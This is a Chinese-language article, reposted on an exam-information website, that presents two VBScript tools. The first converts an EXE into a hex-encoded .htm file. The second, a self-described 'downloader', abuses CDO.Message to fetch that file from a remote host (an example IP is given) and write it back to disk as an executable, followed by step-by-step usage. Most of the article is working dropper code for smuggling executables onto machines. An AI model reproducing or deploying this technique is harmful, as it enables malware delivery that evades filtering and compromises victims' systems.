VBS 下載方法(CDO.MESSAGE)
來源:易賢網(wǎng) 閱讀:1223 次 日期:2016-07-18 15:24:37
溫馨提示:易賢網(wǎng)小編為您整理了“VBS 下載方法(CDO.MESSAGE)”,方便廣大網(wǎng)友查閱!

LCX在寫他的BLOG備份腳本時發(fā)現(xiàn) CDO.MESSAGE可以訪問網(wǎng)絡(luò)下載東西,說是研究研究或許可以用來當(dāng)下載者用。

于是研究了一會。寫出個粗糙的DEMO。

exe2hex.vbs //xiaolu寫的exe2vbs ,我修改成直接拖放,轉(zhuǎn)成十六進(jìn)制

================================================

代碼如下:

'code by xiaolu

'change by NetPatch

on error resume next

set arg=wscript.arguments

if arg.count=0 then wscript.quit

do while 1

fname=arg(0)

err.number=0

Set Ado = CreateObject("adodb.stream")

With Ado

.Type = 1

.open

.loadfromfile fname

ss = .read

End With

if err.number<>0 then

if msgbox("文件打開錯誤!",1,"File2VBS")=2 then Wscript.quit

else

exit do

end if

loop

if fname="" then Wscript.quit

Set Fso=CreateObject("Scripting.FileSystemObject")

Set File=fso.OpenTextFile(arg(0)&".htm",2, True)

File.write Bin2Str(ss)

File.close

Set fso=nothing

Ado.close

set Abo=nothing

Function Bin2Str(Re)

For i = 1 To lenB(Re)

bt = AscB(MidB(Re, i, 1))

if bt < 16 Then Bin2Str=Bin2Str&"0"

Bin2Str=Bin2Str & Hex(bt)

Next

End Function

======================================

下載者 down.vbs

=============

代碼如下:

on error resume next

set arg=wscript.arguments

if arg.count=0 then wscript.quit

'code by NetPatch

'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe

Set Mail1 = CreateObject("CDO.Message")

Mail1.CreateMHTMLBody arg(0),31

ss= Mail1.HTMLBody

Set Mail1 = Nothing

Set RS=CreateObject("ADODB.Recordset")

L=Len(ss)/2

RS.Fields.Append "m",205,L

RS.Open:RS.AddNew

RS("m")=ss&ChrB(0)

RS.Update

ss=RS("m").GetChunk(L)

Set s=CreateObject("ADODB.Stream")

with s

.Mode = 3

.Type = 1

.Open()

.Write ss

.SaveToFile arg(1),2

end with

==================================

demo.htm內(nèi)容時用exe2hex.vbs轉(zhuǎn)EXE后獲得的

使用方法:

1.exe2hex.vbs 把exe轉(zhuǎn)成十六進(jìn)制,放到網(wǎng)絡(luò)上

2.down.vbs http://xxx/demo.htm c:\good.exe

更多信息請查看腳本欄目
易賢網(wǎng)手機(jī)網(wǎng)站地址:VBS 下載方法(CDO.MESSAGE)
由于各方面情況的不斷調(diào)整與變化,易賢網(wǎng)提供的所有考試信息和咨詢回復(fù)僅供參考,敬請考生以權(quán)威部門公布的正式信息和咨詢?yōu)闇?zhǔn)!
關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 加入群交流 | 手機(jī)站點(diǎn) | 投訴建議
工業(yè)和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網(wǎng)安備53010202001879號 人力資源服務(wù)許可證:(云)人服證字(2023)第0102001523號
云南網(wǎng)警備案專用圖標(biāo)
聯(lián)系電話:0871-65317125(9:00—18:00) 獲取招聘考試信息及咨詢關(guān)注公眾號:hfpxwx
咨詢QQ:526150442(9:00—18:00)版權(quán)所有:易賢網(wǎng)
云南網(wǎng)警報(bào)警專用圖標(biāo)